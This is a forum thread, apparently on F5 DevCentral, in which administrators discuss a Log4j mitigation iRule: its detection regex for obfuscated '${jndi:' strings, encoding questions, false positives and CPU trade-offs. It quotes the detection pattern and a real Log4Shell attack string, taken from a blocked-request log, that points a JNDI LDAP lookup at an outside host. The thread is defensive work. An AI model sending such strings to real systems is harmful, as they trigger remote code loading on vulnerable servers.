Forum Discussion
CarloMun
Nimbostratus
NimbostratusLog4j iRule mitigation as described in K59329043 - which encoding is the regex using ?
Hi Community,
just for my understanding - can someone please clarify which encoding is being used in the regex with F5 release under K59329043 in order to mitigate log4j CVEs exploits ?
I'm referring to this regex
when RULE_INIT {
# To switch to a much more aggressive regexp uncomment the first line and comment the second.
# set static::log4j_regex {(?i)(\$|\\+(0?44|([u0]00|x)24))'?(\{|\\+(0?173|([u0]00|x)7b))'?}
set static::log4j_regex {(?i)(\$|\\+(0?44|([u0]00|x)24))'?(\{|\\+(0?173|([u0]00|x)7b))'?\s*((j|b|\\+(0?1[5140]2|([u0]00|x)[64][a2]))|((\$|\\+(0?44|([u0]00|x)24))?'?(\{|\\+(0?173|([u0]00|x)7b))'?.+?'?(\}|\\+(0?175|([u0]00|x)7d))'?))}
}
I'm seeing some false positives in the payload of applications where the iRule is at the moment active; nevertheless when I attempt to regex the payload I cannot see any match - so I suspect I might be using the wrong encoding.
Thank you for your assistance
- Daniel_Wolf
MVP
The idea here is that, when you encounter a string that starts with ${j the rest of the string is most likely going to be ndi:ldap:/55.55.55.55:1389/Exploit}.
If you remember previous versions of this iRule, F5 was always offering two or three different regexes. More or less permissive. The more characters you inspect, the more permissive the iRule will be. You could also say you will have less false positive.
On the other hand - the more characters you inspect, the more CPU cycles are used. Matching regex is expensive on the CPU. So it's a trade-off between preciseness and performance.
KR
Daniel
CarloMunHi
thank you for clarifying the trade off idea behind.
What I'm still missing here is the encoding part used when performing the Regex comparison - as mentioned in the initial post, I'm seeing some false positives within the application payload. This forced me to manually add some whitelisting within the originally provided iRule.
I've attempted to dump the payload as collected by the "HTTP_REQUEST_DATA" event and have it checked against the reference regex (tcl based regex checking - using the f5 built-in tclsh interpreter for ex.) in order to better understand what is exactly matching the Regex - yet I'm seeing no matches.
So clearly I'm missing out on the encoding part.
Can you perhaps also advice on this ?
Thank you and Best Regards
- Daniel_Wolf
Hi ,
looking only at this part (\$|\\+(0?44|([u0]00|x)24))
I can recognise the literal $.
The octal of $, which ist 44.
The hexadecimal of $, which is 24.
And some more characters in between.
And I would not claim that I am good at reading regex... Someone more savvy can for sure explain you in more details.
KR
Daniel
- Daniel_Wolf
Hi ,
the regex will search for some possible variants and obfuscations of the well-known string that is used to exploit the log4shell vulnerability.
Paste the full string without the {} here: https://regex101.com/.
You will get an awesome explanation with syntax highlighting.
KR
Daniel
L__G_Altostratus
Hello
Another great site for regex visualisation : regexper.com
Copy paste the F5 regex without the {} and (?i).
- CarloMun
Hi @Daniel Wolf ,
thank you for your quick reply. Well, I already actually tried to get my answer via regex101.com.
Here what somehow suprises me:
if I type in this string
/${jndi:ldap:/55.55.55.55:1389/Exploit}
which I extracted from a real attack / exploit attempt against one of our production servers:
info tmm[13241]: Rule /Linux/LOG4J-iRULE-BLOCK <HTTP_REQUEST>: log4j_rce_detection drop on URI: /${jndi:ldap:/55.55.55.55:1389/Exploit}
I only get match on the first 3 characters:
Is it meant to be so ? or am I missing something here ?
Thank you for clarifying.
Best Regards
Jim_MCirrus
I imagine, to avoid false positives, the irule will need to parse a lot more than the first 3 characters. Even if there is an overhead
